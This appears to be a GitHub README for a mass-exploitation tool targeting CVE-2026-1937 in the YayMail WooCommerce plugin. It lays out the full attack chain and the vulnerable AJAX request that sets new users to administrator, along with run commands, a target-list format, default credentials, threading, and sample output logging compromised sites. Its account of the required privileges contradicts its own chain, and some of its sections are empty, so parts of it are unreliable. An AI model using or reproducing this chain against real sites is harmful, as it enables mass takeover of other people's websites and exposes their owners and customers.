🔴 Vulnerability Overview

CVE-2026-1937 — Missing Authorization → Arbitrary Options Update → Privilege Escalation

Description:
The YayMail – WooCommerce Email Customizer plugin for WordPress is vulnerable to unauthorized modification of data leading to Privilege Escalation in all versions up to and including 4.3.2. The yaymail_import_state AJAX action is registered without any server-side capability check, allowing authenticated attackers with Shop Manager-level access or above to invoke it freely. By uploading a crafted ZIP import file, the attacker can silently overwrite arbitrary WordPress site options — including setting the default new user registration role to administrator and enabling open public registration. Once these options are injected, any visitor can self-register on the site and receive a full WordPress Administrator account, resulting in complete site compromise.

🛠️ Tool Description

This is a Proof-of-Concept (PoC) mass exploitation chain targeting WordPress + WooCommerce installations running a vulnerable version of the YayMail plugin. The tool implements a full end-to-end attack: WooCommerce registration → login → YayMail nonce extraction → yaymail_import_state exploit → admin verification.

🔗 Full Attack Chain

[Phase 1 — Registration]
  GET  /my-account/  →  Extract WooCommerce register nonce
  POST /my-account/  →  Register new account (WooCommerce form)
  → Save credentials to reg.txt

          ↓

[Phase 2 — Login]
  POST /wp-login.php         →  Try WordPress native login
  POST /my-account/ (WooC.)  →  Fallback WooCommerce login
  → Establish authenticated session

          ↓

[Phase 3 — Admin Pre-check]
  GET /wp-admin/  →  If already admin, skip to result

          ↓

[Phase 4 — YayMail Exploit]
  GET /wp-admin/admin.php?page=yaymail-settings
  → Extract: ajax_url + nonce

  POST /wp-admin/admin-ajax.php
  action=yaymail_import_state
  nonce=<extracted_nonce>
  import_file=yaymail_backup.zip
  → Override WordPress options:
    · default_role = administrator
    · users_can_register = 1

          ↓

[Phase 5 — Admin Verification]
  GET /wp-admin/        → Check adminmenu / wp-admin-bar
  GET /wp-admin/users.php   → Confirm manage_options access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com user:<u> pass:<p>

📋 Requirements

System Requirements

• Python 3.8 or higher
• Linux / Windows / macOS
• yaymail_backup.zip — crafted import payload (required)

Python Dependencies

pip install requests urllib3 rich

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937

# Install dependencies
pip install -r requirements.txt

# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .

# Run the tool
python3 CVE-2026-1937.py

⚙️ Usage

Basic Run

python3 CVE-2026-1937.py

The tool uses a fully interactive terminal interface powered by Rich.

🗂️ Target List Format

Create a plain text file (default: list.txt) — one target per line:

https://target1.com
https://target2.com
http://target3.com
target4.com

Targets without http:// or https:// are automatically prefixed with https://.

🖥️ Interactive Prompts

Username   [Nx_admin]:          Nx_admin
Password   [Nx_adminSA]:        Nx_adminSA
Email      [[email protected]]: [email protected]
Targets file [list.txt]:        list.txt
Threads [3]:                    5
HTTP timeout (seconds) [10]:    10

📦 Payload File — yaymail_backup.zip

The exploit requires a crafted YayMail import ZIP file that overrides the following WordPress options when imported:

⚠️ The tool will refuse to run if yaymail_backup.zip is not present in the working directory.

🔬 Vulnerable AJAX Endpoint

POST /wp-admin/admin-ajax.php

action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip  (multipart upload)

Root Cause:
The yaymail_import_state handler does not call current_user_can() or any equivalent capability check before processing the import. Any user holding the shop_manager role (or above) can invoke this action freely and overwrite arbitrary wp_options table entries via the ZIP import mechanism.

🔍 WooCommerce Pages Probed

The tool automatically scans the following paths for the registration and login forms:

/my-account/       /my_account/      /My-account/
/account/          /myaccount/       /customer-login/
/login/            /register/        /sss/

📁 Output Files

✅ Output Format

reg.txt:

[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA

Nx_admin.txt:

[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import

🖥️ Terminal Output Sample

╔══════════════════════════════════════════════════════════════════╗
║  WooCommerce · YayMail · Mass Exploit Chain                      ║
║  By: Nxploited  |  GitHub: github.com/Nxploited  |  @Kxploit    ║
╚══════════════════════════════════════════════════════════════════╝

[SCAN]            https://target.com
[REGISTERED]      https://target.com  ::  user: Nx_admin pass: Nx_adminSA
[LOGIN-WP]        https://target.com  ::  wp-login.php
[SEARCH-NONCE]    https://target.com  ::  not admin, trying YayMail chain
[NONCE-FOUND]     https://target.com  ::  nonce: a1b2c3d4e5
[EXPLOIT]         https://target.com  ::  nonce: a1b2c3d4e5
[SUCCESS]         https://target.com  ::  user: Nx_admin pass: Nx_adminSA

┌──────────────────────────────────────���───────────────────────────────────┐
│ Target               │ Status                    │ Credentials / Note    │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com   │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin …  │
│ https://target2.com  │ NO-REGISTER               │                       │
│ https://target3.com  │ DEAD                      │                       │
└──────────────────────────────────────────────────────────────────────────┘

📊 Status Codes Reference

📡 Contact & Author

By: Nxploited (Khaled Alenazi)

 

⚠️ Legal Disclaimer

THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH PURPOSES ONLY.

The author, Nxploited (Khaled Alenazi), and all contributors to this project do not condone, support, or take any responsibility for the misuse of this tool or any damage caused by the use of this software against systems for which you do not have explicit written authorization.

• ✅ Permitted: Use on systems you own or have been granted explicit written permission to test.
• ❌ Prohibited: Use against any systems without prior explicit written authorization from the system owner.

Unauthorized access to computer systems is illegal and punishable under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.

By using this tool, you accept sole and full responsibility for your actions and confirm that you have the legal authority to test the targeted systems.

The author assumes no liability whatsoever for any direct, indirect, incidental, or consequential damages arising from the use or misuse of this software.

_{© 2026 Nxploited (Khaled Alenazi) — For authorized security research only.}